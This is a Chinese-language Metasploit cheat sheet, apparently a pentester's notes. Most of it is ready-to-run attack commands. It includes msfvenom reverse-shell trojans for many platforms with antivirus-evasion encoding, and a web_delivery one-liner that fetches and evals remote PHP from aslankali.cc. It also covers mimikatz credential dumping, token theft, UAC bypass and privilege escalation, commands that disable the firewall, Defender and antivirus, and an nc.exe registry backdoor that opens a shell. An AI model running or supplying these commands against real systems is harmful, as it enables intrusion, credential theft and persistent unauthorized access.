  • 定制攻击路径
  • 绕过检测机制

# 后渗透攻击阶段(Post Exploitation)

  • 根据目标业务经营情况,挖掘出最有价值的信息和资产
  • 提权
  • 信息收集
  • 内网渗透
  • 永久后门

# 报告阶段(Reporting)

  • 向客户提交安全渗透报告

* 安装

# Linux / MacOS

  1. curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  2. chmod 755 msfinstall && \
  3. ./msfinstall

* postgresql的使用

安装postgresql 11

  1. wget https://download.postgresql.org/pub/repos/yum/11/redhat/rhel-7-x86_64/pgdg-redhat11-11-2.noarch.rpm
  2. rpm -ivh pgdg-redhat11-11-2.noarch.rpm
  3. yum install postgresql11 postgresql11-server postgresql11-devel

初始化数据库

  1. /usr/pgsql-11/bin/postgresql-11-setup initdb

启动服务

  1. service postgresql start

登录控制台

  1. sudo -u postgres psql

修改密码

  1. postgres=# \password username

创建新用户

  1. postgres=# CREATE USER username WITH PASSWORD 'password' NOCREATEDB;
  2. 例如:
  3. CREATE USER admin with PASSWORD 'admin' NOCREATEDB;
  4. 若创建成功则返回CREATE ROLE

创建数据库

  1. postgres=# CREATE DATABASE dbname OWNER username;
  2. 例如:
  3. CREATE DATABASE msf OWNER admin;
  4. 若创建成功,则返回CREATE DATABASE

显示数据库列表

  1. postgres=# \l

msf 创建数据配置信息

  1. vim /opt/metasploit-framework/database.yml
  2. production:
  3. adapter: postgresql
  4. database: msf
  5. username: admin
  6. password: 123456
  7. host: 127.0.0.1
  8. port: 5432
  9. pool: 75
  10. timeout: 5
  11. echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml >> /etc/bashrc
  12. source ~/.bashrc

msf 连接postgresql数据库

  1. msf>db_connect username:password@127.0.0.1/dbname
  2. 例如:db_connect admin:12345@127.0.0.1/msf

msf 检查是否连接上

  1. msf> db_status

* 模块

/usr/share/metasploit-framework/modules

  1. +-------------------------------------------------------+
  2. | METASPLOIT by Rapid7 |
  3. +---------------------------+---------------------------+
  4. | __________________ | |
  5. | ==c(______(o(______(_() | |""""""""""""|======[*** |
  6. | )=\ | | EXPLOIT \ |
  7. | // \\ | |_____________\_______ |
  8. | // \\ | |==[msf >]============\ |
  9. | // \\ | |______________________\ |
  10. | // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ |
  11. | // \\ | ********************* |
  12. +---------------------------+---------------------------+
  13. | o O o | \'\/\/\/'/ |
  14. | o O | )======( |
  15. | o | .' LOOT '. |
  16. | |^^^^^^^^^^^^^^|l___ | / _||__ \ |
  17. | | PAYLOAD |""\___, | / (_||_ \ |
  18. | |________________|__|)__| | | __||_) | |
  19. | |(@)(@)"""**|(@)(@)**|(@) | " || " |
  20. | = = = = = = = = = = = = | '--------------' |
  21. +---------------------------+---------------------------+

# auxiliary

‘ 辅助模块, 没有payload的exploit模块, 提供情报收集 ’

‘ 网络服务扫描查点, 登录密码收集, 口令猜测破解, 敏感信息嗅探, Fuzz测试, 网络协议欺骗 ’

# exploits

‘ 根据辅助模块手机的漏洞进行攻击,以植入攻击载荷并获取目标系统访问权 ’

  • Active exploit

  1. msfconsole ---exploit---> target
  1. # 示例
  2. vim smbexp.rc
  3. use exploit/windows/smb/psexec
  4. set rhosts aslansb.cc
  5. set SMBPass 1
  6. set SMBUser aslan
  7. set payload windows/shell/reverse_tcp
  8. set lhost aslankali.cc
  9. run
  10. msfconsole -r smbexp.rc
  • Passive exploit

  1. msfconsole <---exploit--target

# payloads

‘ shellcode是payload的一种, 以拿到目标系统的shell为目的, 建立正向或反向的shell ’

  • Singles 独立

Stagers 传输器

  • Stages 传输体

生成payload

  1. generate # 生成16进制payload
  2. generate -b '\x00\xff' # 自动调用encoder,编码坏字符
  3. generate -s 14 # 加nops
  4. generate -x x.exe # 基于软件模板生成payload,伪装该软件
  5. # 示例
  6. generate -b '\x00' -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
  1. # 一般payload
  2. payload/windows/shell/reverse_tcp
  3. # meterpreter
  4. payload/windows/meterpreter/reverse_tcp
  5. # 图形化界面
  6. payload/windows/vncinject/reverse_tcp
  • 接收payload后执行任务
  1. # 接收payload连接
  2. exploit/multi/handler
  3. set payload windows/meterpreter/reverse_tcp
  4. set exitonsession false # 持续侦听端口以便于接收多个连接
  5. # 使用handler中payload里的 AutoRunScript 高级参数
  6. migrate自动迁移进程
  7. set AutoRunScript migrate -N explorer.exe
  8. # InitialAutoRunScript
  9. 初始化执行脚本,可作为AutoRun的前置高级参数

# encoders

‘ 在渗透攻击指令发送到目标系统之前,需要进行编码处理,以解决 1.坏字符问题,否则程序会崩溃, 2.免杀 ’

  1. eg. 0x00

# nops

‘ 为渗透攻击提供安全着陆区,避免内存地址随机化等造成的执行失败,可以提高攻击可靠性 ’

‘ Target的程序运行不会造成实质影响的空操作或无关操作的指令 ’

  1. eg. 空操作 0x90

# post

‘ 后渗透攻击模块, 拿到shell之后的进一步拓展渗透 ’

* 帮助信息

  1. Core Commands
  2. =============
  3. Command Description
  4. ----- -----------
  5. ? Help menu
  6. banner Display an awesome metasploit banner
  7. cd Change the current working directory
  8. color Toggle color
  9. connect Communicate with a host
  10. exit Exit the console
  11. get Gets the value of a context-specific variable
  12. getg Gets the value of a global variable
  13. grep Grep the output of another command
  14. help Help menu
  15. history Show command history
  16. load Load a framework plugin
  17. quit Exit the console
  18. repeat Repeat a list of commands
  19. route Route traffic through a session
  20. save Saves the active datastores
  21. sessions Dump session listings and display information about sessions
  22. set Sets a context-specific variable to a value
  23. setg Sets a global variable to a value
  24. sleep Do nothing for the specified number of seconds
  25. spool Write console output into a file as well the screen
  26. threads View and manipulate background threads
  27. unload Unload a framework plugin
  28. unset Unsets one or more context-specific variables
  29. unsetg Unsets one or more global variables
  30. version Show the framework and console library version numbers
  31. Module Commands
  32. ===============
  33. Command Description
  34. ----- -----------
  35. advanced Displays advanced options for one or more modules
  36. back Move back from the current context
  37. info Displays information about one or more modules
  38. loadpath Searches for and loads modules from a path
  39. options Displays global options or for one or more modules
  40. popm Pops the latest module off the stack and makes it active
  41. previous Sets the previously loaded module as the current module
  42. pushm Pushes the active or list of modules onto the module stack
  43. reload_all Reloads all modules from all defined module paths
  44. search Searches module names and descriptions
  45. show Displays modules of a given type, or all modules
  46. use Interact with a module by name or search term/index
  47. Job Commands
  48. ============
  49. Command Description
  50. ----- -----------
  51. handler Start a payload handler as job
  52. jobs Displays and manages jobs
  53. kill Kill a job
  54. rename_job Rename a job
  55. Resource Script Commands
  56. ========================
  57. Command Description
  58. ----- -----------
  59. makerc Save commands entered since start to a file
  60. resource Run the commands stored in a file
  61. Database Backend Commands
  62. =========================
  63. Command Description
  64. ----- -----------
  65. analyze Analyze database information about a specific address or address range
  66. db_connect Connect to an existing data service
  67. db_disconnect Disconnect from the current data service
  68. db_export Export a file containing the contents of the database
  69. db_import Import a scan result file (filetype will be auto-detected)
  70. db_nmap Executes nmap and records the output automatically
  71. db_rebuild_cache Rebuilds the database-stored module cache (deprecated)
  72. db_remove Remove the saved data service entry
  73. db_save Save the current data service connection as the default to reconnect on startup
  74. db_status Show the current data service status
  75. hosts List all hosts in the database
  76. loot List all loot in the database
  77. notes List all notes in the database
  78. services List all services in the database
  79. vulns List all vulnerabilities in the database
  80. workspace Switch between database workspaces
  81. Credentials Backend Commands
  82. ============================
  83. Command Description
  84. ----- -----------
  85. creds List all credentials in the database
  86. Developer Commands
  87. ==================
  88. Command Description
  89. ----- -----------
  90. edit Edit the current module or a file with the preferred editor
  91. irb Open an interactive Ruby shell in the current context
  92. log Display framework.log paged to the end if possible
  93. pry Open the Pry debugger on the current module or Framework
  94. reload_lib Reload Ruby library files from specified paths
  95. msfconsole
  96. ==========
  97. `msfconsole` is the primary interface to Metasploit Framework. There is quite a
  98. lot that needs go here, please be patient and keep an eye on this space!
  99. Building ranges and lists
  100. -------------------------
  101. Many commands and options that take a list of things can use ranges to avoid
  102. having to manually list each desired thing. All ranges are inclusive.
  103. ### Ranges of IDs
  104. Commands that take a list of IDs can use ranges to help. Individual IDs must be
  105. separated by a `,` (no space allowed) and ranges can be expressed with either
  106. `-` or `..`.
  107. ### Ranges of IPs
  108. There are several ways to specify ranges of IP addresses that can be mixed
  109. together. The first way is a list of IPs separated by just a ` ` (ASCII space),
  110. with an optional `,`. The next way is two complete IP addresses in the form of
  111. `BEGINNING_ADDRESS-END_ADDRESS` like `127.0.1.44-127.0.2.33`. CIDR
  112. specifications may also be used, however the whole address must be given to
  113. Metasploit like `127.0.0.0/8` and not `127/8`, contrary to the RFC.
  114. Additionally, a netmask can be used in conjunction with a domain name to
  115. dynamically resolve which block to target. All these methods work for both IPv4
  116. and IPv6 addresses. IPv4 addresses can also be specified with special octet
  117. ranges from the [NMAP target
  118. specification](https://nmap.org/book/man-target-specification.html)
  119. ### Examples
  120. Terminate the first sessions:
  121. sessions -k 1
  122. Stop some extra running jobs:
  123. jobs -k 2-6,7,8,11..15
  124. Check a set of IP addresses:
  125. check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255
  126. Target a set of IPv6 hosts:
  127. set RHOSTS fe80::3990:0000/110, ::1-::f0f0
  128. Target a block from a resolved domain name:
  129. set RHOSTS www.example.test/24

* 常用命令

# 初始数据库

  1. msfdb init
  2. msfdb reinit
  3. msfconsole

# 工作台

  1. >>> msfconsole <<<
  2. workspace -a aslan # 添加一个工作台
  3. workspace aslan # 切换到工作台
  4. workspace -d aslan # 删除一个工作台

# 数据库

  1. db_nmap
  2. db_export a.xml # 导出数据库
  3. db_import a.xml # 导入数据库
  4. hosts # 主机
  5. loot # 战利品
  6. notes # 笔记
  7. services # 服务
  8. -s <name> Name of the service to add
  9. -p <port> Search for a list of ports
  10. -r <protocol> Protocol type of the service being added [tcp|udp]
  11. -u,--up Only show services which are up
  12. -R,--rhosts Set RHOSTS from the results of the search
  13. -S,--search Search string to filter by
  14. vulns # 弱点

# 模块

  1. search name:mysql | path:scada | platform:aix | type:aux | author:aaron | cve:2011
  2. ===== search Keywords =====
  3. aka : Modules with a matching AKA (also-known-as) name
  4. author : Modules written by this author
  5. arch : Modules affecting this architecture
  6. bid : Modules with a matching Bugtraq ID
  7. cve : Modules with a matching CVE ID
  8. edb : Modules with a matching Exploit-DB ID
  9. check : Modules that support the 'check' method
  10. date : Modules with a matching disclosure date
  11. description : Modules with a matching description
  12. fullname : Modules with a matching full name
  13. mod_time : Modules with a matching modification date
  14. name : Modules with a matching descriptive name
  15. path : Modules with a matching path
  16. platform : Modules affecting this platform
  17. port : Modules with a matching port
  18. rank : Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison operators (ex: 'gte400'))
  19. ref : Modules with a matching ref
  20. reference : Modules with a matching reference
  21. target : Modules affecting this target
  22. type : Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)
  23. use
  24. info
  25. show options | payloads | targets | advanced | evasion
  26. set
  27. setg RHOSTS 192.168.233.1 # 全局变量设置
  28. unsetg RHOSTS
  29. check
  30. back
  31. save #保存设置配置

# 任务和会话

  1. jobs 查看进程
  2. jobs -K 进程全杀
  3. session -i 1
  4. route 10.10.10.1 255.255.255.0 1 # 目标网段路由指向sessionID

* msfcli

msfconsole -x

* msfvenom

# 帮助信息

Options: -l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all -p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom --list-options List --payload <value>'s standard, advanced and evasion options -f, --format <format> Output format (use --list formats to list) -e, --encoder <encoder> The encoder to use (use --list encoders to list) --sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string --smallest Generate the smallest possible payload using all available encoders --encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list) --encrypt-key <value> A key to be used for --encrypt --encrypt-iv <value> An initialization vector for --encrypt -a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list) --platform <platform> The platform for --payload (use --list platforms to list) -o, --out <path> Save the payload to a file -b, --bad-chars <list> Characters to avoid example: '\x00\xff' -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload --pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length) -s, --space <length> The maximum size of the resulting payload --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the --template behaviour and inject the payload as a new thread -v, --var-name <value> Specify a custom variable name to use for certain output formats -t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) -h, --help Show this message

# list

  1. # platforms
  2. aix android apple_ios brocade bsd bsdi cisco firefox freebsd hardware hpux irix java javascript juniper linux mainframe multi netbsd netware nodejs openbsd osx php python ruby r solaris unifi unix unknown windows
  3. # archs
  4. aarch64 armbe armle cbea cbea64 cmd dalvik firefox java mips mips64 mips64le mipsbe mipsle nodejs php ppc ppc64 ppc64le ppce500v2 python ruby r sparc sparc64 tty x64 x86 x86_64 zarch
  5. # encrypt
  6. aes256 base64 rc4 xor
  7. # formats
  8. >>>Framework Executable Formats<<<
  9. asp aspx aspx-exe axis2 dll elf elf-so exe exe-only exe-service exe-small hta-psh jar jsp loop-vbs macho msi msi-nouac osx-app psh-net psh-cmd psh psh-reflection vba vba-exe vba-psh vbs war
  10. >>>Framework Transform Formats<<<
  11. bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript
  12. # payloads
  13. ---
  14. # encoders
  15. ---
  16. # nops
  17. ---

# msfvenom各平台生成木马

  1. # Windows
  2. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=aslankali.cc LPORT=4444 -e x86/shikata_ga_nai -b 'x00x0axff' -i 3 -f exe -o payload.exe
  3. # Mac
  4. msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=aslankali.cc LPORT=4444 -f macho -o payload.macho
  5. # Android
  6. msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=aslankali.cc LPORT=4444 -f apk -o payload.apk
  7. # PowerShell
  8. msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=aslankali.cc LPORT=4444 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
  9. # Linux
  10. msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=aslankali.cc LPORT=4444 -f elf -o payload.elf
  11. # php
  12. msfvenom -p php/meterpreter_reverse_tcp LHOST=aslankali.cc LPORT=4444 -f raw > shell.php
  13. cat shell.php | xclip && echo '<?php ' | tr -d 'n' > shell.php && xsel >> shell.php
  14. # aspx
  15. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=aslankali.cc LPORT=4444 -f aspx -o payload.aspx
  16. # jsp
  17. msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=aslankali.cc LPORT=4444 -f raw -o payload.jsp
  18. # war
  19. msfvenom -p java/jsp_shell_reverse_tcp LHOST=aslankali.cc LPORT=4444 -f raw -o payload.war
  20. # nodejs
  21. msfvenom -p nodejs/shell_reverse_tcp LHOST=aslankali.cc LPORT=4444 -f raw -o payload.js
  22. # python
  23. msfvenom -p python/meterpreter/reverse_tcp LHOST=aslankali.cc LPORT=4444 -f raw -o payload.py
  24. # perl
  25. msfvenom -p cmd/unix/reverse_perl LHOST=aslankali.cc LPORT=4444 -f raw -o payload.pl
  26. # ruby
  27. msfvenom -p ruby/shell_reverse_tcp LHOST=aslankali.cc LPORT=4444 -f raw -o payload.rb
  28. # lua:
  29. msfvenom -p cmd/unix/reverse_lua LHOST=aslankali.cc LPORT=4444 -f raw -o payload.lua
  30. # windows shellcode:
  31. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=aslankali.cc LPORT=4444 -f c
  32. # linux shellcode:
  33. msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=aslankali.cc LPORT=4444 -f c
  34. # mac shellcode:
  35. msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=aslankali.cc LPORT=4444 -f c

# msfvenom常见参数混淆免杀

  1. -v, var-name <name>
  2. # 指定用于某些输出格式的自定义变量名称。 用-v指定名称将将输出的变量从默认的"buf"更改为您提供的任何字词
  3. eg. msfvenom -a x86 platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b \x00 -f python -v notBuf
  4. -n, nopsled
  5. # 添加空字符,这将在您的有效载荷的开头放置一个[-n 长度]的大小
  6. eg. msfvenom -a x86 platform Windows -p windows/shell/bind_tcp -e generic/none -f python -n 26
  7. --smallest
  8. # 尝试创建最小的shellcode
  9. eg. msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b \x00 -f python --smallest
  10. -c, --add-code
  11. # 指定一个win32 shellcode文件,再创建两个载荷合并到一个shellcode中
  12. -x, template & -k, keep
  13. # 指定模版,并且保留模板的正常行为,将注入的有效负载作为单独的线程运行
  14. --encrypt # 加密方式,支持 AES256-CBC、RC4、XOR 和 Base64。
  15. --encrypt-key # 密钥
  16. eg. msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 encrypt rc4 encrypt-key thisisakey -f c
  17. show evasion # defender绕过

* MSF信息收集

# 密码嗅探

  1. auxiliary/sniffer/psnuffle # 相当于dsniff工具

# snmp扫描

  1. auxiliary/scanner/snmp/snmp_login
  2. auxiliary/scanner/snmp/snmp_enum

# smb扫描

  1. auxiliary/scanner/smb/smb_version
  2. auxiliary/scanner/smb/pip_auditor # 命名管道
  3. auxiliary/scanner/smb/smb_enumshares # 共享枚举
  4. auxiliary/scanner/smb/smb_enumuser # 用户枚举
  5. auxiliary/scanner/smb/smb_lookupsid # 账号信息枚举

# ssh扫描

  1. auxiliary/scanner/ssh/ssh_version
  2. auxiliary/scanner/ssh/ssh_login
  3. auxiliary/scanner/ssh/ssh_login_pubkey

# ftp扫描

  1. auxiliary/scanner/ftp/ftp_version
  2. auxiliary/scanner/ftp/anonymous
  3. auxiliary/scanner/ftp/ftp_login

# MSSQL扫描

  1. auxiliary/scanner/mssql/mssql_ping # 扫描mssql端口,实例,版本
  2. auxiliary/scanner/mssql/mssql_login # 口令爆破
  3. auxiliary/admin/mssql/mssql_exec # 存储过程命令执行

# 弱点扫描

  1. # vnc弱密码与无密码
  2. auxiliary/scanner/vnc/vnc_none_auth
  3. auxiliary/scanner/vnc/vnc_login
  4. # rdp远程桌面漏洞
  5. auxiliary/scanner/rdp/ms12_020_check # DOS漏洞检测,xpsp3利用成功
  6. # http弱点扫描
  7. load wmap
  1. # OpenVas
  2. load openvas
  3. db_import openvas.nbe

* 客户端渗透

# 浏览器

  1. auxiliary/server/browser_autopwn2 # 自动启动其他模块检测浏览器漏洞
  2. exploit/windows/browser/ms14_064_ole_code_execution # WinXP,Win7浏览器漏洞

# adobe

  1. exploit/windows/fileformat/adobe_utilprintf # 生成pdf payload
  2. exploit/windows/browser/adobe_utilprintf # Acrobat reader < 8.1.3 漏洞
  3. exploit/multi/browser/adobe_flash_hacking_team_uaf # Adobe Flash 18.0.0.194
  4. exploit/multi/browser/adobe_flash_opaque_background_uaf

# Java

  1. exploit/multi/browser/java_jre17_driver_manager # <jre7u17 RemoteCodeExecution
  2. exploit/multi/browser/java_jre17_reflection_types

# VBScript

  1. # Office2007
  2. msfvenom --arch x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=aslankali.cc -e x86/shikata_ga_nai -f vba-exe
  3. msfconsole -x 'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set lhost aslankali.cc'

* 服务端远程payload执行

# php脚本payload

  1. msfvenom -p php/meterpreter_reverse_tcp LHOST=aslankali.cc LPORT=4444 -f raw > shell.php
  2. # 接收
  3. use exploit/multi/handler
  4. set payload php/meterpreter_reverse_tcp
  5. set lhost aslankali.cc
  6. set port 4444
  7. payload上传服务端并访问页面即可发起连接

# Web Delivery

  1. # 本地发布payload页面, 目标主机命令执行连接payload
  2. # KALI
  3. use exploit/multi/script/web_delivery
  4. set lhost aslankali.cc
  5. set port 4444
  6. set target 1
  7. set payload php/meterpreter_reverse_tcp
  8. # 目标主机 任意命令执行
  9. php -d allow_url_fopen=true -r "eval(file_get_contents('http://aslankali.cc:8080/281fQmK'));"

# RFI远程文件包含

  1. # 利用服务器的远程文件包含漏洞执行本地开放的PHP shell payload , 自动访问
  2. use exploit/unix/webapp/php_include
  3. set rhosts aslanmsf.cc
  4. set path /dvwa/vulnerabilities/fi/
  5. set phpuri /?page=XXpathXX # msf会自动替换XXpathXX中内容为发布页面的URI
  6. set headers "Cookie:PHPSESSID:70ced7cd010bc617d77498e25ec74668;security:low"
  7. set payload php/meterpreter/reverse_tcp
  8. set lhost aslankali.cc

* 后渗透 Post Exploitation

# meterpreter帮助信息

  1. Core Commands
  2. =============
  3. Command Description
  4. ----- -----------
  5. ? Help menu
  6. background Backgrounds the current session
  7. bg Alias for background
  8. bgkill Kills a background meterpreter script
  9. bglist Lists running background scripts
  10. bgrun Executes a meterpreter script as a background thread
  11. channel Displays information or control active channels
  12. close Closes a channel
  13. disable_unicode_encoding Disables encoding of unicode strings
  14. enable_unicode_encoding Enables encoding of unicode strings
  15. exit Terminate the meterpreter session
  16. get_timeouts Get the current session timeout values
  17. guid Get the session GUID
  18. help Help menu
  19. info Displays information about a Post module
  20. irb Open an interactive Ruby shell on the current session
  21. load Load one or more meterpreter extensions
  22. machine_id Get the MSF ID of the machine attached to the session
  23. migrate Migrate the server to another process
  24. pivot Manage pivot listeners
  25. pry Open the Pry debugger on the current session
  26. quit Terminate the meterpreter session
  27. read Reads data from a channel
  28. resource Run the commands stored in a file
  29. run Executes a meterpreter script or Post module
  30. secure (Re)Negotiate TLV packet encryption on the session
  31. sessions Quickly switch to another session
  32. set_timeouts Set the current session timeout values
  33. sleep Force Meterpreter to go quiet, then re-establish session.
  34. transport Change the current transport mechanism
  35. use Deprecated alias for "load"
  36. uuid Get the UUID for the current session
  37. write Writes data to a channel
  38. Stdapi: File system Commands
  39. ============================
  40. Command Description
  41. ----- -----------
  42. cat Read the contents of a file to the screen
  43. cd Change directory
  44. checksum Retrieve the checksum of a file
  45. cp Copy source to destination
  46. dir List files (alias for ls)
  47. download Download a file or directory
  48. edit Edit a file
  49. getlwd Print local working directory
  50. getwd Print working directory
  51. lcd Change local working directory
  52. lls List local files
  53. lpwd Print local working directory
  54. ls List files
  55. mkdir Make directory
  56. mv Move source to destination
  57. pwd Print working directory
  58. rm Delete the specified file
  59. rmdir Remove directory
  60. search Search for files
  61. show_mount List all mount points/logical drives
  62. upload Upload a file or directory
  63. Stdapi: Networking Commands
  64. ===========================
  65. Command Description
  66. ----- -----------
  67. arp Display the host ARP cache
  68. getproxy Display the current proxy configuration
  69. ifconfig Display interfaces
  70. ipconfig Display interfaces
  71. netstat Display the network connections
  72. portfwd Forward a local port to a remote service
  73. resolve Resolve a set of host names on the target
  74. route View and modify the routing table
  75. Stdapi: System Commands
  76. =======================
  77. Command Description
  78. ----- -----------
  79. clearev Clear the event log
  80. drop_token Relinquishes any active impersonation token.
  81. execute Execute a command
  82. getenv Get one or more environment variable values
  83. getpid Get the current process identifier
  84. getprivs Attempt to enable all privileges available to the current process
  85. getsid Get the SID of the user that the server is running as
  86. getuid Get the user that the server is running as
  87. kill Terminate a process
  88. localtime Displays the target system's local date and time
  89. pgrep Filter processes by name
  90. pkill Terminate processes by name
  91. ps List running processes
  92. reboot Reboots the remote computer
  93. reg Modify and interact with the remote registry
  94. rev2self Calls RevertToSelf() on the remote machine
  95. shell Drop into a system command shell
  96. shutdown Shuts down the remote computer
  97. steal_token Attempts to steal an impersonation token from the target process
  98. suspend Suspends or resumes a list of processes
  99. sysinfo Gets information about the remote system, such as OS
  100. Stdapi: User interface Commands
  101. ===============================
  102. Command Description
  103. ----- -----------
  104. enumdesktops List all accessible desktops and window stations
  105. getdesktop Get the current meterpreter desktop
  106. idletime Returns the number of seconds the remote user has been idle
  107. keyboard_send Send keystrokes
  108. keyevent Send key events
  109. keyscan_dump Dump the keystroke buffer
  110. keyscan_start Start capturing keystrokes
  111. keyscan_stop Stop capturing keystrokes
  112. mouse Send mouse events
  113. screenshare Watch the remote user's desktop in real time
  114. screenshot Grab a screenshot of the interactive desktop
  115. setdesktop Change the meterpreters current desktop
  116. uictl Control some of the user interface components
  117. Stdapi: Webcam Commands
  118. =======================
  119. Command Description
  120. ----- -----------
  121. record_mic Record audio from the default microphone for X seconds
  122. webcam_chat Start a video chat
  123. webcam_list List webcams
  124. webcam_snap Take a snapshot from the specified webcam
  125. webcam_stream Play a video stream from the specified webcam
  126. Stdapi: Audio Output Commands
  127. =============================
  128. Command Description
  129. ----- -----------
  130. play play an audio file on target system, nothing written on disk
  131. Priv: Elevate Commands
  132. ======================
  133. Command Description
  134. ----- -----------
  135. getsystem Attempt to elevate your privilege to that of local system.
  136. Priv: Password database Commands
  137. ================================
  138. Command Description
  139. ----- -----------
  140. hashdump Dumps the contents of the SAM database
  141. Priv: Timestomp Commands
  142. ========================
  143. Command Description
  144. ----- -----------
  145. timestomp Manipulate file MACE attributes

# 引入模块

  1. load priv # getsystem命令的模块,getsystem失败原因:没过UAC
  2. load python
  3. # 通过meterpreter执行python代码,无需目标上有环境
  4. python_execute "import sys;print sys.version"
  5. python_import -f helloworld.py

# load mimikatz

  1. hashdump
  2. load mimikatz
  3. wdigest, kerberos, msv, ssp, tspkg, livessp
  4. mimikatz_command -h
  5. mimikatz_command -f a:: # 输入未知模块可以列出可用模块
  6. mimikatz_command -f samdump::hashes
  7. mimikatz_command -f handle::list
  8. mimikatz_command -f service::list
  9. mimikatz_command -f crypto::listProviders
  10. mimikatz_command -f winmine::infos #

# run命令

  1. run hostsedit -e 1.1.1.1,www.baidu.com # 改hosts文件
  2. run winenum # Windows执行很多信息收集命令dump成文件

# POST模块

  1. run post/windows/gather/arp_scanner RHOSTS=2.1.1.0/24
  2. run post/windows/gather/checkvm # 查询是不是虚拟机
  3. run post/windows/gather/credentials/credential_collector # hashdump与token获取
  4. run post/windows/gather/enum_applications
  5. run post/windows/gather/enum_logged_on_users
  6. run post/windows/gather/enum_snmp
  7. run post/multi/recon/local_exploit_suggester # 漏洞利用建议
  8. run post/windows/manage/delete_user USERNAME=aslan # 删用户
  9. run post/multi/gather/env # 操作系统信息
  10. run post/multi/gather/firefox_creds # firefox保存的认证信息
  11. run post/multi/gather/ssh_creds # ssh认证信息
  12. run post/multi/gather/check_malware REMOTEFILE=c:\\a.exe # 检查指定文件是不是恶意软件

# 提权

  1. post/windows/capture/keylog_recorder # 键盘记录器

管理员 > SYSTEM
  1. exploit/windows/local/ask # 诱骗使用者点击UAC认证绕过UAC获取 getsystem 权限
  2. exploit/windows/local/bypassuac
  3. exploit/windows/local/bypassuac_injection

普通用户 > 管理员 / SYSTEM
  1. exploit/windows/local/ms13_053_schlamperei
  2. exploit/windows/local/ms13_081_track_popup_menu
  3. exploit/windows/local/ms13_097_ie_registry_symlink
  4. exploit/windows/local/ppr_flatten_rec # set payload windows/vncinject/reverse_tcp
  5. exploit/windows/local/ms10_015_kitrap0d

hashdump
  1. 拿到hashdump使用psexec模块
  2. psexec拿到的shellSYSTEM

# 关闭与开启相关组件

注册表关闭UAC
  1. cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2. cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /tREG_DWORD /d 1 /f

关闭防火墙
  1. netsh advfirewall set allprofiles state [on/off]

增加防火墙策略
  1. netsh firewall add portopening TCP 444 "Core Networking Destination Unreachable" ENABLE ALL

关闭Windows Defender
  1. net stop windefend

关闭Bitlocker
  1. manage-bde -off C:
  2. manage-bde -status C: # 查看开启的状态

关闭DEP
  1. bcdedit.exe /set {current} nx AlwaysOff

关闭防病毒软件
  1. run killav
  2. run post/windows/manage/killav

开启远程桌面服务
  1. run post/windows/manage/enable_rdp
  2. run getgui e # 启动RDP
  3. run getgui -u aslan -p password # 添加远程桌面账号

查看远程桌面
  1. screenshot
  2. use espia
  3. screengrab

# Token 切换权限

‘ Windows身份验证,类似于Web的cookie ’

  • Delegate Token:交互式登录Token
  • Impersonate Token:非交互式登录Token(如 文件共享认证)
  • 前提:拿到本地SYSTEM权限,外界有登录本地的操作过后会留下Token(如 域管理员下发策略),可以获取使用。
  1. # Incognito 模块
  2. # Token窃取,需要SYSTEM权限
  3. load incognito
  4. list_tokens -u # 查看获取到的token
  5. impersonate_token SANDBOX\\aslan # 使用该用户的token,注意转义\
  6. execute -f cmd.exe -t # 使用当前token执行命令

# Windows注册表

Windows注册表Markdown笔记

添加NC开机启动后门
  1. upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
  2. reg enumley -k HKLM\\sofrware\\microsoft\\windows\\currentversion\\run # 查看有哪些键值
  3. reg setval -k HKLM\\sofrware\\microsoft\\windows\\currentversion\\run -v nc -d 'c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' # 新增加键值
  4. reg queryval -k HKLM\\sofrware\\microsoft\\windows\\currentversion\\run -v nc # 查询键值
  5. # 添加防火墙策略

# 后渗透信息收集

弱点扫描
  1. # Windows补丁扫描
  2. post/windows/gather/enum_patches # 需要拿到meterpreter
